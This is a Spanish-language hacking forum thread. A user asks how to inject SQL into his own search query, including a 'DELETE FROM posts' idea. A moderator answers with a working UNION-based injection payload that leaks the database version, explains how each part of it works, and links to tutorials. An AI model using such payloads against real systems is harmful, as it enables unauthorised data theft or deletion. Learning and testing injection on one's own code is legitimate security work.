elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web (Moderador: #!drvy)
| | |-+  [Pregunta]: ¿Como inyectar código SQL?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Pregunta]: ¿Como inyectar código SQL?  (Leído 1,864 veces)
Leguim


Desconectado Desconectado

Mensajes: 720



Ver Perfil
[Pregunta]: ¿Como inyectar código SQL?
« en: 1 Noviembre 2019, 02:05 am »

Buenas noches,
como podría inyectar código sql a la siguiente consulta,

Código
  1. "SELECT P.id_post, P.id_user, U.id_user, U.avatar FROM posts P INNER JOIN users U ON P.id_user = U.id_user WHERE P.title LIKE "%'.($search).'%" ORDER BY P.id_post DESC"
  2.  

La idea es, tengo un input donde ingresa un texto y ese texto buscará publicaciones o temas donde el titulo sea parecido a el texto, la idea es como puedo inyectar un codigo sql que elimine todas las publicaciones algo como "DELETE FROM posts" peor no se como inyectar eso, no se preocupen que no quiero hackear nada  :xD jeje, estoy provando vulnerabilidades en mi sistema.


En línea

WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: [Pregunta]: ¿Como inyectar código SQL?
« Respuesta #1 en: 1 Noviembre 2019, 02:25 am »

Pues para entender como inyectar cosas necesitas aprender primero sobre como usar las jeringas y su contenido, no todo se inyecta de la misma manera, en el mismo lugar o con el mismo contenido. Primero debes entender sobre consultas SQL y después podrás entender como hacer inyecciones de contenido SQL.

Por ejemplo:

Código:
SELECT
    P.id_post,
    P.id_user,
    U.id_user,
    U.avatar
FROM
    posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
    P.title LIKE "%'.($search).'%"
ORDER BY
    P.id_post DESC

Una posible inyección sería:

Código:
qqqq" UNION SELECT * FROM (SELECT 1 AS id_post, 2 AS id_user, 3 AS id_user, @@version AS avatar) P WHERE 1 LIKE "1

De esta manera con qqqq invalidas el resultado arrojando cero items para que no haya problemas con la obtención de filas del union select, luego el union select con la cantidad de columnas exactas, el avatar será el texto de escapado de información, un subselect para representar P como tabla debido al order by y el primer resultado con el mismo nombre de la columna a ordenar y para finalizar una condicional cualquiera para unir las comillas de cierre usando like para prevenir errores con el "%".

Queda masomenos así:

Código:
SELECT
    P.id_post,
    P.id_user,
    U.id_user,
    U.avatar
FROM
    posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
    P.title LIKE "%qqqq"
UNION
SELECT
    *
FROM (
    SELECT
        1 AS id_post,
        2 AS id_user,
        3 AS id_user,
        @@version AS avatar
) P
WHERE 1 LIKE "1%"
ORDER BY
    P.id_post DESC

De esta manera puedes crear la inyección sql sin que se produzca un error de sintaxis ni tampoco tener la necesidad de hacer una detención de consulta con comentarios de tipo "--" debido a que esto a veces falla si la consulta SQL utiliza múltiples líneas. Además representé cada valor con su columna correspondiente debido a que en algunas aplicaciones WEB los resultados se obtienen con el número de la columna obtenida como resultado de la consulta SQL pero en otros casos utilizan asociación y si no existe un resultado en su columna correspondiente te puede dar problemas, no siempre resultan las uniones de la manera tradicional, por eso es que prefiero ser estricto con las inyecciones.

Todo dependerá que quieras hacer o que quieras lograr, el servidor de bases de datos atenderá tus consultas, lo que quieras hacer con el es otro tema.

Dale un vistazo por acá:

https://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html
https://foro.elhacker.net/hacking_linuxunix/tutorial_de_inyeccion_sql_para_principiantes-t414525.0.html
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_31510-t244090.0.html
https://www.php.net/manual/es/mysqli-result.fetch-assoc.php

Saludos.


« Última modificación: 1 Noviembre 2019, 02:38 am por WHK » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Inyectar codigo
Programación Visual Basic
Distorsion 4 2,131 Último mensaje 1 Marzo 2006, 14:18 pm
por Pseudoroot
Inyectar codigo a un ejecutable
Ingeniería Inversa
darklaiser 1 2,964 Último mensaje 29 Septiembre 2007, 19:17 pm
por Shaddy
Como inyectar una SHELL por el siguiente codigo PHP
Bugs y Exploits
Jnl 1 4,231 Último mensaje 7 Febrero 2012, 01:38 am
por s00rk
Archivos en los que inyectar código.
Análisis y Diseño de Malware
PROFITEROLVEINTE 0 1,957 Último mensaje 10 Julio 2012, 23:16 pm
por PROFITEROLVEINTE
Inyectar dll Pregunta...
Análisis y Diseño de Malware
dRak0 6 3,686 Último mensaje 28 Enero 2014, 00:46 am
por x64core
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines